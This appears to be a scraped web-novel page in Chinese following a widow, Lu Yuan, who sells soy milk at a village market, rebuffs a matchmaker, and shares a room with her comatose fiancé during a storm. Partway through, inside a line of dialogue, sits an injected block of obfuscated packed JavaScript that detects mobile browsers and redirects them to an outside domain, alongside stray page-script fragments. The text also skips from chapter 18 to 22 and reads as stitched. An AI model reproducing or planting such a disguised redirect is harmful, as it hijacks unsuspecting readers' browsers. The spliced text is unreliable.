陆鸢忙习惯了,倒也还好。 洗漱回了屋,瞧着俩孩子睡了,她才摸黑去祁晟的屋子。 ——日常刺激一下。 她进了屋中,把手放在祁晟的心口位置感受了一会。 掌心下的心跳徐缓,没有什么特别的起伏。 她又把耳朵贴到祁晟的胸膛处,心跳依旧徐缓得没有半点变化。 她想,祁晟应该是处在深度昏迷中。 瞧来今日是刺激不了了。 陆鸢叹了一声,起身摸黑出了屋子。 祁晟感觉到人走了,心下默念的诗词戛然而止。 他心下一哂。 他便是知她迟早都会来一趟,就在心底念了许久的诗词,念得心无旁骛,也心如止水。 果然不出他所料,她真的来了。 她摸进他的屋子,定然是又想着法子来行调戏之事。 呵,想调戏刺激他,也要看他给不给她这个机会。 18.第 18 章 又是三日一次的赶集日,昨日浣衣时,陆鸢就与黄兰约好了一块去镇上摆摊。 黄兰打算给苏氏搭把手,就早早过来了。 黄兰进了院子,与做针线活的何老婆子打了招呼,说:“老太太,这天都没亮透呢,就做刺绣,也不怕坏了眼。” 何老婆子做的是陆鸢的衣裳。 她放下了针线,应:“人老了,眼睛也不好使了。” 黄兰道:“我婆母比老太太你年纪差不多,可一双眼可尖着呢,地上掉一文钱,她都能第一个瞧见。” 陆鸢从厨房里提着一桶豆乳出来,应:“地上捡钱的好事,眼不尖咋行。” 黄兰笑道:“那可不,只要我没瞎,有地上捡钱的好事,我比谁都快。” 说着,看向陆鸢提出来的桶,问:“什么时候能好?” 陆鸢:“时辰应当还早,喝碗豆乳再走吧。” 她盛了几碗豆乳放到桌面上,热情地把黄兰拉了过来。 黄兰嘴巴不严,可再怎么说,也是陆鸢在围山村交好的第一个人。 人热情,也帮了她,她自然不能厚此薄彼。 吃过早饭,陆鸢用草绳绑了一扎笋干,挂在扁担上方,再挑着两个木桶和黄兰一块出门。 她昨日去打山泉水的时候,就是用扁担挑的水,今日再挑豆乳也熟练多了。 黄兰帮她拿着洗碗用的盆,看了眼她挂在扁担上的东西,问:“这像树皮又不像树皮的是啥玩意?” 陆鸢道:“这是我自己用麻竹笋晒的笋干,用来送人的。” 黄兰讶异道:“这个季节的麻竹笋可不兴吃,又苦又涩的,得刚入夏那会挖的笋才嫩,且也没什么苦涩的味道。” 陆鸢:“我打算摆摊卖,就想了个法子去了苦涩味,至于是啥法子,我怕嫂子你与别人不经意间说出来,就不与嫂子说了。” 黄兰:“虽然我也想知道是啥法子,但你说得对,你要是告诉我了,我嘴上没个把门的,下午估计就给你说出去了。” 黄兰也不否认自己的毛病,应得也大大方方的。 这优点也刚好补过了缺点。虽嘴里守不住秘密,却也不会让人反感。 她们俩到了村口,等了一会,牛车才至。 今日除了赶车的,去镇上的人不多,加上陆鸢和黄兰,一共就三个人。 刘俊生帮忙把豆乳放上了车,陆鸢这回给钱了。 总不给,旁人也会说闲话。 刘俊生摆了摆手:“说不用就不用。” 陆鸢道:“那人头不收钱,这东西占的位置也该给。” 说着,拿了一个铜板递给刘俊生。 刘俊生见她执着,道了声“行吧。”也就接过了铜板。 上了牛车后,黄兰压低声音与她说:“你傻呀,人家都说了不要钱,你还硬塞给人家,你这压根就是钱多烧得慌。” 陆鸢也小声应道:“人家说了一回不给,那总不能回回不给呀。” 一次两次不给钱没关系,可她之后赶集日都要去镇上,次数多了,人家心里肯定也会不舒服。 现在也有挣钱的营生了,也不能为了省这一两文钱而消磨了里长家的这点情分。 往后说不定还有要求到里长家的事,所以人情还是得留着需要的时候再用。 再说这回去镇上没几个人,所以牛车的速度相对上回要快了些。 他们早到了一刻多。 眼瞅着要到镇上了,黄兰就立马背上背篓,一下牛车就往市集跑去,占位置。 今日来早了一会,也占了一个相对不错的位置。 里甲来收摊位费,见她们又是两个人一个摊位,正要说道时,陆鸢就特会来事,忙舀了一碗豆乳递过去:“差爷忙活了一早上,肯定口干舌燥了,先喝碗豆乳解解渴。” 里甲挑了挑眉,看了眼豆乳,说了句:“偶尔一两回同一个摊位就得了,别回回都这么干,我也不好交差。” 陆鸢应:“明白明白,下回不这么干了。” 里甲接过了豆乳,喝了一口,说:“你们家的豆乳,倒是比前边包子摊旁的要好喝。” 里甲口中的包子摊和豆乳摊,陆鸢是知道的。 这两个摊子不是一家的,但因为这豆乳摊子就在包子摊旁边,哪怕味道一般,也有不少人会搭着包子喝上一碗豆乳,所以生意非常好。 里甲毕竟喝了人家的豆乳,吃人的嘴软,便与顿足犹豫的人说:“这家豆乳不错,可以尝尝。” 说着就把碗还给了摊贩,继续去巡查收费。 陆鸢摊前陆陆续续地来了人,再加上她也舍得下脸皮子吆喝,生意虽没有前边摊子好,但也不错。 陆鸢卖了一会儿豆乳,有一个年轻妇人忽然凑了过来,仔细打量了一会儿陆鸢,随之诧异道:“你之前不是在集市上叫卖帕子荷包的吗?怎忽然来摆摊买豆乳了?” 陆鸢认出来了,是之前第一个买她两方帕子的年轻妇人。 镇上就这么大,还只有这么一个市集,能遇上也不稀奇。 陆鸢笑得热情:“原是娘子你呀,可真巧。” 那年轻妇女道:“你现在卖豆乳了,可还卖帕子和钱袋?” 陆鸢应道:“卖的,只是做得慢些,一个月就只卖一回,家里也有几方帕子和一些络子,娘子若是想要,我下回拿到镇上。” 年轻妇人:“不是我想要,是我相熟的人想买。” 陆鸢:“那等下回赶集日,我摆摊时顺道取来,若是想要,就来市集上询问,还是按照之前的价钱。” 年轻妇人点头:“行,我回去与她们说说。” 她们这个词,可是个复数。 陆鸢会意过来,笑得更欢快了,忙招呼道:“娘子喝豆乳吗,我请娘子喝一碗。” 这年轻妇人有自己的闺蜜圈子,且都有经济能力的,与其交好,指不定能介绍更多生意呢。 那妇人乐道:“你这是要收买我?” 她瞧着面前这个其貌老实,衣衫破旧的妇人,原以为是个不善言谈的,却不想是个能言善道且机灵的。 陆鸢笑道:“娘子给我介绍生意,我这是感激娘子。” 说着,就舀起一碗豆乳递了过去。 年轻妇人笑着接了过来,说:“那我便谢过了。” 等年轻妇人离开了,黄兰念道:“你咋老请人喝豆乳,这多亏呀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508533|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆鸢心道,一碗豆乳成本一文钱都不用,还让人欠个人情,可真的一点都不亏。 她说:“里甲管着这个市集,是地头蛇,咱们讨好他准没错。” 黄兰:“那方才那个年轻妇人怎么说?我听着你们的话,你没把何老婆子做的绣品送去胭脂铺子呀?” 陆鸢应:“老太太应承我了,我要是凭本事卖得贵一些,多出来的就归我。” 黄兰看向她的眼神瞬间就变了,说:“我以前真是错看你了。” 陆鸢听得不明所以。 黄兰继续道:“我以前总觉着你死气沉沉的,而且也不是个会说话的,可现在瞧来,你这每日像是打了鸡血似的,一天都不带歇的,就这张嘴也是能说会道。” 两家就是邻里,平日里黄兰自然也能瞧见苏氏忙进忙出,忙得跟陀螺似的。 陆鸢故作叹气:“这先前不是没缓过劲来么,现在缓过来了,自是要努力挣钱过日子的。” 说着话又来了客人,她也就适时止住了话头。 这一回的两桶豆浆,卖到午时才卖完。 往后豆乳就定在这个量了,也不能再多增了。 卖完了豆乳,陆鸢感到了布袋子里边沉甸甸的铜板,脸上的笑就没停下来过。 她拿上了笋干,和黄兰道:“我给人送去,顺道再去买点豆子,嫂子你帮我盯着点东西。” 黄兰:“你去吧,我再摆一会。” 今日位置好,菌子都卖得七七八八了,就只剩下一点,她再摆一会,看能不能全部卖完了。 陆鸢拿着笋干就离开了市集,直奔有客来食肆。 现在是晌午,食肆都已经坐满了人,热热闹闹的。 陆鸢进了食肆,走到了柜台前唤了一声:“柳掌柜。” 掌柜一抬头,见是她,问:“祁家娘子可是又捡到云耳了?” 陆鸢把笋干放到桌面上,见铺子里这么忙碌,也不委婉了,直接道:“这是笋干,泡发了切条与猪肉炒着吃,或是用猪油炒着吃也最香了。” “这份送给掌柜,若掌柜觉着好吃了,想要上新菜色,可以来找我采买。” 说到后边,又补充:“这个不贵,六文钱一斤,泡发后也是可以做很多份菜的。” 柳掌柜到底也想力所能及的帮衬一下祁家,听她这么说,便笑着拿过笋干,说:“价格也合适,若是做菜好吃,我便寻你采买。” 陆鸢得了话,便道:“那我先走了,不耽搁掌柜做生意了。” 出了外头,陆鸢才转头看了眼坐满人的食肆。 两次与这柳掌柜打交道,瞧着不是势利的人,应该不会敷衍她。 若是柳掌柜买了笋干做菜,她不仅不用花钱就能做了宣传,也还能挣钱,一举两得。 陆鸢也没有多纠结,转身就去买肉去了。 挣了钱,首要的当然是要吃肉! 都穿过来十一二天了,正经带着油水的肉,她是一口还没吃上,嘴巴都快淡出鸟了。 陆鸢到了肉摊,就让屠户切半斤肥瘦相间的肉。 约莫半斤肉,花了八文钱。 她又去买了豆子,这才回去寻黄兰。 22-30 第22章 听了大娘的话, 陆鸢怀疑自己听错了。 不然她怎么可能听到眼前的大娘说,要给她说一门亲事? 媒人也不管陆鸢是什么脸色,自顾自就说了起来:“上河村牛二福,家中有几间敞亮的屋子, 还有几亩田, 家境也算殷实, 脾气好,也老实, 是个能过日子的。就是那牙不大好看,所以到现在还没娶媳妇, 但我可以保证, 除了这个牙也没别的缺点了。” “另外,他也知道你的情况, 不嫌弃你是个寡妇, 还带着两个孩子, 只要你愿意从何老婆子的家里离开, 他就能立刻把你们母女三个都接到家里去。” “妹子, 大娘说句实在话,嫁给他, 再不济也好过嫁给活死人强,你说这嫁人是奔着享福去的, 可不是奔着端屎端尿去的。” “你瞧你样貌不出众, 还是个带着两个娃的寡妇,错过牛二福这村, 可就没这个店了。” 陆鸢从一开始的茫然,到了然,再到现在漠然抱胸地看着眼前滔滔不绝的媒人。 媒人说得口干舌燥, 喝了口豆乳,再看向面前过于冷静的寡妇:“妹子,你倒是说句话呀?” 陆鸢“呵呵”的假笑了两声,随即道:“大娘,且不说你的话可不可信,就说我现在可是有婚事在身的人,你作为媒人,却要帮人抢姻缘,怕是不太厚道吧?” 因着媒人的声量不小,“寡妇”“两个孩子”“活死人”,以及陆鸢口中“抢人姻缘”这几个词凑在一块,是个人都想听听是咋个回事。 行人不自觉都停驻了下来,蹲在附近的摊子前佯装看菜,或是看旁的。 媒人顿时气道:“这十里八乡的,有谁不知道十方村的杨媒人是出了名的讲诚信,我保成的媒,哪个不夸我的?” 陆鸢望了一圈,见有好些个瞧热闹的人,顿时有了算计。 这不,生意来了。 她也不管媒人怎么说,忙招呼道:“大家伙来喝碗豆乳吧,我家豆乳用的祖传秘方来熬煮,比别家的香浓,来试一试吧。” 行人为了瞧热闹,还真过来买豆乳。碗不够,那就排着队伍等,反正都舍不得听一半就离开。 陆鸢本来想赶媒人离开的,可一看这架势,乐了,也不急着赶人走了。 她一边舀一边与媒人道:“我压根就不认识什么姓牛的,忽然来说亲,可别是见我现在能挣两个铜板了,就想娶回家当牛做马吧?” 大家伙都奔着听八卦才来喝豆乳的,毕竟花了钱的,她怎么也得让他们听足了,听满意了。 杨媒人瞪眼,一张嘴:“人家有田有地,咋可能贪你这仨瓜俩枣?!再说了,人家是看你勤快贤惠,还能操持家里,且见你一个寡妇带着两个孩子,还被老太太携恩图报,可怜你,这才寻我来说亲的。” 陆鸢:“我既能挣钱,哪用得着别人可怜?若是真觉得可怜,日日来,把我的豆乳都买完了,那才叫可怜,同情,大家伙说不是?” 陆鸢一问,侧耳听着的众人都憋住了笑。 旁边卖菜的大娘说:“媒人的嘴,骗人的鬼,说得条件那么好,也没说对方年岁几何,若年纪大的还讨不着媳妇的,不是穷就是丑。” 媒人一听,脸顿时黑了。 大娘又说:“说家境殷实,那就是穷,几亩田地,家底估计也只有几亩不知好坏的田。几间敞亮的屋子,那就是四面透风的屋子。” 陆鸢看见旁边默默无闻的大娘,都想给她拍手叫好了。 这话真通透! 媒人被气得不轻,骂道:“我与人家娘子说亲,与你这老货何干,多管闲事也不怕喝凉水塞了牙!” 大娘也气笑了:“哟,还说亲,我就是管闲事管定了,我见不得人家好娘子被你这黑心肝的媒人祸害!有哪家好媒人大庭广众之下说亲的?大声嚷嚷人家是带着两个孩子的寡妇,嫌没人知晓是不是?” 一碗豆乳就让大娘护犊子一样护着,陆鸢当即决定以后要广结善缘。 很快,陆鸢大半桶的豆乳都卖完了,她有些后悔没把两桶豆乳都装满了,这都不够卖的了。 见豆乳卖完了,陆鸢也不和媒人扯皮了,她道:“大娘,我有未婚夫的,过些天就要成亲了,虽然他暂时昏迷不醒,但没准我一嫁,人就醒了。所以你还是给我回绝了那牛什么来着。” 买菜大娘提醒:“牛二福。” 陆鸢接话:“对,你给我回绝了牛二福。” 媒人气得那叫一个脸红脖子粗,恼道:“不识好人心,错过了这么好的亲事,你日后后悔都没地哭去。” 她一甩帕子,就带着怒气走了。 人一走陆鸢转头和卖菜大娘道了谢,顺道花了三文钱买了几块姜和一把子青菜,然后就开始收拾。 卖完,收摊! 陆鸢挑起担子正要走,就在人群中看到了杏娘的离开的背影。 得,回村后又全是她的流言了。 陆鸢叹了一声气,挑着担子就往有间食肆走去。 她在食肆外放下了担子,走了进去。 柳掌柜正从后厨出来,见是她,便道:“过来问笋干的事吧?” 陆鸢点了点头,问:“柳掌柜觉得那笋干怎么样?” 柳掌柜应道:“确实不错,很下饭。” “只是我这食肆也不大,要不了太多,你下回就给我拿两三斤过来吧。” 陆鸢喜道:“这不巧了,我这趟正好带了笋干。” 柳掌柜诧异,不禁好奇:“你怎么笃定我会要你的笋干?” 陆鸢应:“我也不确定柳掌柜要不要,就先带过来了,不要的话,我就再带回去自己吃。” 柳掌柜笑了笑:“那拿过来吧。” 陆鸢转身去把笋干拿了进来,放到了柜台上,说:“这里边究竟有多少,我也不清楚。” 柳掌柜让小二去拿称过来。 一称,是三斤二两。 陆鸢道:“零头二两不算,就按整三斤算吧。” 柳掌柜笑了笑,她虽这么说,还是算了十九文钱给她。 “一共十九文,你收好。若是之后我还要笋干,会让你同村的刘俊生给你传话。” 陆鸢大概数了数,笑着感谢:“那便谢过柳掌柜了。” 陆鸢从食肆离开,就去买了何老婆子交代的精米。 之前买的精米,祁晟也已经快吃完了,又得买了。 陆鸢回到了市集,又买了半斤肉和四斤豆子,最后停留在布摊前挑了二尺相对软和的布,这布不是在铺子里,也便宜了些许,只需六文钱一尺。 两尺布,应该也足够她做两身贴身衣物了。 至于外头的衣服,得准备做冬衣了,现在就不用再添置了。 忽然想起应承过两个孩子的糖葫芦,陆鸢花了两文钱买了一串糖葫芦后,就径自去镇口了。 来镇上的人回来了,都古怪地看着她,应是听杏娘或是旁人说了媒人的事。 这媒人还真是缺德,明知她是答应给别人的孙子做媳妇,才能借住在别人家。 且古人在外含蓄,这媒人倒好,竟直接找来,就在人来人往的集市上给她说亲,也不怕坏了她的名声! 这媒人无非就是笃定了她肯定会答应改嫁。 就算不答应,今日的事也能让她在祁家待不下去了,届时走投无路了,只得答应这婚事。 还真应了卖菜大娘那句话,这媒人就是个黑心肝的。 陆鸢上了牛车,一路上也没有与其他人交流,他们也没问媒人说亲的事。 一到围山村,陆鸢挑着担子就快步往家里赶。 陆鸢紧赶慢赶的同时,也希望这会何老婆子能在家。 媒人给她说亲这事,何老婆子从别人口中听到与从她口中听到,是完全不同的两个概念。 到了院子外,陆鸢从篱笆望进去,瞧见何老婆子在屋子门外做针线活,她才松了一口气。 她平缓了一会,才进的院子。 春花见到她,高兴地跑了过来。 陆鸢把糖葫芦拿了出来,递给春花:“给你和妹妹的,你们分了吧。” 春花接过糖葫芦,朝她举来:“娘先吃。” 陆鸢摇了摇头:“我不吃,你们去吃吧。” 她现在哪有心情吃什么糖葫芦,得先说事。 陆鸢放下东西,边收掇着边开口问:“老太太可认识有什么姓牛的人家?” 何老婆子头也没抬,问:“怎么这么问?” 陆鸢顺着她的话说了下去:“今早在集市摆摊的时候,有个自称是媒人的大娘来寻了我。” 何老婆子手中的针线活一顿,抬起头看向了她,眉头皱起:“咋回事?” 陆鸢告状道:“她说是上河村牛二福托他向我说亲的。” 这话一出,她就见何老婆子黑了脸。 陆鸢继而道:“先前也没听过这一号人,怎忽然就在我能挣几个钱的时候出现了?” “我寻思着肯定是冲着我能挣钱来的,再者我都快要嫁给祁晟了,所以一口回绝了,也把那媒人赶走了。” 陆鸢想了想,又说:“不过听那媒人话里的意思,姓牛对我的底细很是了解,应当是熟人。” 何老婆子把手里的针线活放下,蓦地站了起来,黑着脸就走了出去。 陆鸢转头和两个孩子说:“你们在家乖乖的。”也立马跟了上去。 春花懵懵地看着她娘和何奶奶离开的背影,一想到她娘说的话,忽然就觉得手里的糖葫芦不甜了。 她娘,要和屋子里的叔叔成亲了? 陆鸢跟着何老婆子走了一段路,在一处夯土屋院外停了下来。 何老婆子开口就朝着院子里大声喊:“牛翠你给我出来?!” 牛翠婆婆听到声音,从厨房擦着手走了出来,望出外边,问:“何老婆子你这是咋的了?” 何老婆子冷笑了一声:“让你家牛翠出来见我!” 牛翠婆婆纳闷道:“我家老大媳妇咋了?” “还问咋了?你家老大媳妇撬我家墙角,竟撺掇她娘家二叔给我家丽娘说亲!” 牛翠婆婆一时愣了神,扫了眼何老婆子身旁的苏氏,说:“这怕不是有什么误会?我家老大媳妇应该不至于干出这么糊涂的事。” 何老婆子给气笑了,与身旁的陆鸢说:“你来说!” 陆鸢腰一挺,说:“今天早上我摆摊的时候,有个媒人来寻我说亲,她说是上河村牛家牛二福让她来的!” 何老婆子气道:“若不是你家儿媳撺掇的,那个上河村离咱们围山村远着呢,他们又怎么找来向我家丽娘说亲?!还那么巧,是她二叔?!” 何老婆子越说越生气:“明知道再过些天,丽娘就与我孙子成亲了,她倒好,见我家丽娘挣银子了,眼红得让她娘家那四十好几,且眼斜嘴歪,还一穷二白的二叔来撬我家墙角,也不让她娘家二叔溺镜自照瞧瞧自己的丑样子,他哪来的脸觉得比得过我孙子?” “我孙子就是个活死人,也比他强多了!” 好家伙…… 四十好几,还眼斜嘴歪,一穷二白,这媒人的嘴还真真是骗人的鬼。 他们是从哪里看得出来,他们说亲,她就一定会改嫁的? 是觉着她连活死人都答应了,也会答应一个年纪大,样貌丑陋老光棍吗? 何老婆子越说越气愤:“赶紧让牛翠那个缺德玩意儿出来见我!要是她不敢出来,我告诉你们,你们家别想安宁了!” “等赶集那日,我就去镇上,把你们家抢亲撬墙脚的事广而告之!让你们家一辈子都抬不起头来!” 陆鸢敬畏地看向何老婆子。 同样的都是寡妇,这苏氏要是有何老婆子一半凶悍,也不至于逃荒到岭南来。 牛翠婆婆慌了,忙去拍一间屋子的房门:“老大媳妇你给我出来,我知道你在家呢!赶紧出来交代是怎么回事?!” 里边传出牛翠有些不安的声音:“我、我就是回娘家去说了一嘴,也不知我二叔怎么就生出了那心思,这和我可没啥关系。” 牛翠婆婆一听,也怒了:“好呀,我就说你前天怎么忽然回娘家了,原来是回去搬弄是非去了!” 何老婆子大声骂:“牛翠你个缺德玩意,老婆子我和你没完!” 牛翠婆婆也怕丢脸,忙道:“何老婆子,这事是我家老大媳妇做得不厚道,等我家老大回来了,再去你家给你赔罪,你看行不?” 何老婆子冷笑:“你们家有这个搅屎棍媳妇,迟早会闹出事,还不如早早把她给休了!” 何老婆子过来骂一顿,也是告诉那些有其他心思的人,最好把心思都给埋土里去! 骂完了,就拉上陆鸢的手往回走。 路上,何老婆子才松开了手,与她念道:“当初你们娘仨饿得快死,也不见这些个人跳出来收留你们。现在晓得你不是吃白饭的了,一个个见钱眼开,都想争你这能挣钱的宝贝疙瘩。” “我与你说,老婆子我算不得什么好人,但我是一开始就与你说清楚了的。但旁的人,嘴上说得好听,内里的心肝却是黑的。今日你挣钱,他们捧着你,可他日你不挣钱了,他们就能把你一脚给踹了。” 见她没应声,何老婆子转头看向她:“你听明白了没?!” 陆鸢忙不迭地点头:“听明白了。” 老太太彪悍,惹不起惹不起。 回了家里,何老婆子就进了孙子的屋子。 何老婆子看着昏迷的孙子,立马哭诉了起来:“晟哥儿你快醒醒,你若是再不醒,别人都欺负到你家祖母的头上来了!” 从门外走过的陆鸢:…… 她寻思着,刚刚何老婆子也没吃亏。 陆鸢摇了摇头,也没特意去听他们说什么,转身去把桶给洗了。 这时,衣服忽然被拽了一下,她转回头,就对上了春花那双红红的眼睛。 陆鸢这时才反应了过来,刚刚在院子里,把要和祁晟成亲的事说漏嘴了。 她琢磨了一下,把活先放下了,然后拉着两个孩子回了屋。 进了屋,她让姊妹俩坐在竹床上,她则蹲在她们的面前。 陆鸢看着春花:“听到你们娘说要嫁人,不高兴了?” 春花虽没说话,可一双委屈巴巴的眼睛就已经说明了答案。 陆鸢叹了一口气,也不管她能不能听得懂,还是把现实说了出来:“咱们娘仨之前险些饿死的时候,是何奶奶救的咱们。” “何奶奶与我们非亲非故,救我们事后也提出了要求,就是让你们娘与她的孙子成亲,你们娘也答应了。” 好半晌,春花才声音哽咽的说:“可是祁叔叔一直睡着,醒不过来。” “娘已经很辛苦了,春花不想娘还得辛苦地照顾他,娘能不能不要嫁给祁叔叔?” 陆鸢一愣,她以为春花的情绪,是因为她娘要改嫁给别人,她要喊自己亲生父亲之外的人做爹,才会觉得委屈,没承想竟是怕她娘辛苦。 陆鸢默了一会,说:“我虽然能挣钱了,但不足以让我们离开这里,安稳过活。而且何奶奶收留了我们,才避免了我们流离失所。我们不能在渡过难关之后,就失信于人,就算要改变主意,也得征求得何奶奶的同意。” 陆鸢说完这话,担心春花还真的去找何老婆子说这事,点燃何老婆子这颗炸药,便多加补充道:“嫁给你祁叔叔也有好处的,你看呀,你祁叔叔醒不过来,何奶奶年纪也大了,以后你们娘就能当家做主,是家里能说话做主的人。” “而且,你们祁叔叔醒不过来,也没人会打骂你们娘,这不是挺好的?” 陆鸢翻了翻苏丽娘的记忆,发现她以前还没少因为生不出儿子而被亡夫责怪,打骂,连带着春花秋花都不得她父亲喜欢。 也难怪春花不怎么惦念她父亲,而是担心她娘嫁给一个生活不能自理的人,会很辛苦。 陆鸢心里软软的。 她摸了摸两个孩子的发顶,安抚好孩子,从屋中出来继续忙活了。 没一会,何老婆子也从祁晟的屋子出来了,她回了一趟自个的屋,不知道拿了什么东西,又急匆匆地出门了。 过了一刻后,何老婆子回来了,手上还拎着一只头顶着大红冠的……公鸡? 陆鸢:…… 何老婆子让她把鸡放到鸡圈去,陆鸢和那只公鸡大眼对小眼,对视了好一会。 她扯出个假笑,抬起手和大公鸡打了个招呼:“你好呀,我的未来郎君,” 第23章 傍晚吃过暮食, 陆鸢进屋给祁晟喂食。 她检查过心律后,就与祁晟说:“你祖母把你的替身给领回来了,现在就和院子里的两只母鸡关在了一块,估计过不了多久, 母鸡都能孵出小鸡仔了。” “你说我和大公鸡拜堂后, 这大公鸡能杀了来吃肉吗?还是说得供着?” “不然, 以后谁家母鸡要孵小鸡仔了,就用一个鸡蛋借给别家母鸡配种?” 陆鸢想了想可行性, 随即摇了摇头,否决了:“不行, 别人会笑话你, 到时候肯定得调侃你,说那些小鸡仔都是你的孩子。” 祁晟:…… 有时候真的极想挣扎醒来, 问问苏氏这脑子里一天天的都在想些什么。 虽然不知苏氏这脑子想的什么, 但这些时日, 日日听着她那些不着边的话, 倒也生出了几分趣味, 日子也没那么难熬了。 今日听了祖母的话,也知道苏氏现在能挣钱了, 旁人眼红,就想把她给骗走。 若是苏氏能嫁好人家, 祁晟自是乐见其成, 只是祖母提过那个人是牛翠的娘家二叔,祁晟便是千万个不同意。 那个牛二福是个什么样的人, 几乎整个围山村的人都知道。 长相丑陋,好吃懒做,家徒四壁。 这样的人, 甚至比起现在的他,更不值得托付。 祖母说再过四日就是他与苏氏成亲的日子,若是那时醒不过来,没能阻止这亲事,依旧是礼成了。 那他若能醒,也认了。 苏氏到底在最难的时候操持着这个家,帮衬着祖母,也照顾他。等他醒了,自是不会在意,也不会嫌她样貌。 陆鸢从屋中出来,一股挟着细沙的风吹来,迷了她的眼。 揉了揉眼,发现天色比往常这个时候还黑了,不远的树木都被吹得左摇右摆。 这一瞧就是有大雨。 陆鸢转头就朝着屋子里头何老婆子说:“今晚估计有大雨,我睡的屋子不仅漏雨,屋顶还不结实,我怕屋顶被掀飞了,今晚我把床搬进老太太你屋子里睡。” 老太太从窗口探头出来与她说:“别说你屋子漏雨,我屋子也漏,而且还要放笋干,哪空得出来大块地方给你们娘仨睡?” 话锋一转:“晟哥儿那屋就大,而且还不漏雨,你把床搬他屋子里去。” 何老婆子还当真没有骗苏氏,搬到这里后,她就把最好的屋子给孙子住,自己住小屋子。 后来陈大川和陈大山兄弟俩过来帮忙修房子,她也是先紧着修晟哥儿的屋子,以至于后边赶着收稻谷,也就只是匆匆修了一下她住的屋子。 陆鸢瞧着何老婆子也不像是说假话,就应:“那我今晚搬到祁晟屋子里去。” 听到她一点也没犹豫,何老婆子微微眯起了眼眸:“你不对劲,先前让你搬,你还说名声不好,怎么现在说搬就搬了?” 陆鸢:“这不是眼瞅着就要成亲了,还在意那些做什么。” 之前不熟悉,好歹要熟悉熟悉,才能住在一个屋子。 反正只要不干违背妇女,夫男意愿的事,她是不大在意住在一个屋子的。 趁着这会天还没下雨,陆鸢先把院子里的桌椅收到了厨房,这才回屋收拾。 她首要把自己的钱袋子放到了怀里,再把稻草垫子卷起来搬到祁晟的屋子。 春花看着娘去祁叔叔的屋子,扁了扁嘴,有些委屈,但也还是帮忙把衣服收起来,抱了出去。 何老婆子出来时,就看到秋花踉跄地跟在她娘和她姐姐身后,就没好气道:“你这丁点大的小玩意儿跟着凑什么热闹,也不怕被绊了。” 说着便去把秋花抱到了怀里。 小丫头片子轻飘飘地,一下就抱了起来,感受到怀里的分量,何老婆子眉头一皱。 这些天,她娘挣了些银子,肚子也都能填饱了,怎的还是这么轻? 这吃下的粮食没长肉,都跑哪去了? 陆鸢把草垫先搬了过去,又返回去搬席子,竹架,这期间往返了□□回了。 祁晟只听见好一阵东西搬动的声响,却不知什么情况。 过了许久,他才听见苏氏气喘吁吁说:“一会估摸着有暴雨,我那屋漏雨,今晚我就和孩子们借宿在你屋子里了。” 祁晟闻言,心下一突。 这没有成亲呢,就宿一个屋子里,成什么样子! 他祖母的屋子难道就不能住人?非得与他一块住? 那苏氏就好似看穿了他的想法一样,又解释道:“你祖母的屋子也漏雨,而且还放了好些东西,住不下。” 陆鸢边摆床边解释。 好一会老太太把秋花送了过来,瞧了眼她铺的床,又看了眼躺在高床上的孙子。 孙子正直,这还没成亲就一个屋子,定然会在心里嘀咕。可这也是没法子的事,他定然不会怪她这个祖母的。 何老婆子安慰了自己后,就出去了。 屋外刮着大风,天乌黑乌黑的,这场雨似来势汹汹。 何老婆子看着这天色,一下就想到了今天刚抓回来的大公鸡。 可不能把鸡淋坏了! 何老婆子赶忙把那几只鸡都抱回了自己的屋子。 不管咋样,大公鸡都不能出事。 再说陆鸢这床才摆好,外头噼里啪啦地下起了大雨,天色也暗了下来。 陆鸢搬东西出了一身汗,只顾着收拾,还没来得及洗澡呢。 想到锅里还温着一锅热水,她想了想,与春花道:“你和秋花在屋子里待着,我出去一会就回来。” 陆鸢话说完,戴起草帽就冒雨跑了出去。 过了好一会,陆鸢才浑身湿透地提着一桶温热水,抱着一个盆进来了。 她把水放到了门边上,看了眼床上双眼紧闭的人,犹豫了一下。 但转念一想,只要不出声,祁晟也不会知道她当着他这个人脱衣擦洗。 想到这,陆鸢也就背对过身,把身上的湿衣服脱下来,倒了半桶水,静悄悄地做简单擦洗。 穿上干爽的衣服,把水盆里的水往外泼了,再把桶里余下的水倒了出来,让两个孩子也做简单擦拭。 浑身干爽后,陆鸢浑身舒坦。 外边的雨越越大了,陆鸢朝着隔壁大声喊:“老太太?!” 何老婆子听到声响,回应:“干啥?” 陆鸢提醒道:“晚间又啥事,就喊一声,我能听得见。” 这些屋子都是简陋的草房子,这风一大,都有可能掀风了屋顶。 何老婆子到底年纪大了,陆鸢也有点担心她晚上睡得太死,发现不了屋顶被掀飞。 何老婆子没好气地大声应:“晓得了,你忙你自个的,我心里有数。” 陆鸢听何老婆子这么应了,也就和两个孩子在小床上躺下。 忽然一声惊雷,吓得两个孩子身体猛地一激灵,秋花更是吓得哭了起来。 陆鸢忙把她们俩抱进怀里,温声安慰:“不怕不怕,有我在呢。” 陆鸢和孩子相处的经验,完全都来源上辈子做护士的时候,经常会有家属带着小孩到住院部,她也经常帮忙哄,也算是有经验了。 祁晟的意识依旧还在。 许是因着前些天苏氏的话,他这些天清醒的时间,一天比一天长了。 是否代表着,他醒过来的机会也越来越大了? 耳边依旧是苏氏温柔低声哄孩子的声音,还有似在远处的雷鸣声,雨声。 他很想,很想再看看这风光迤逦的四季,便是恶劣如时下,他也想再多看看。 但,如何才能使这躯体清醒过来? 至少,能在成亲那天醒来。 让一只大公鸡替自己拜堂,到底是他娶媳妇,还是大公鸡娶媳妇? 这不合适。 陆鸢陪着俩孩子逐渐陷入睡梦中,而躺在隔壁床上的男人,思绪却是异常的活跃。 陆鸢早早便起了,外头才蒙蒙亮,屋内昏暗一片,只勉强视物。 她一下子还没反应过来在哪,缓和了好一会,才想起来昨晚上下雨,她和两个孩子都睡祁晟屋来了。 许是昨晚下雨,又或是这屋宽阔牢固,所以一觉好眠。 陆鸢坐起舒展了个懒腰,见两个孩子也还没醒,就放轻动作起床。 梳了头发,编了辫子挽起才推开房门。 大雨过后,院子一片狼藉,到处都是从他处刮来的树叶,树枝,茅草。 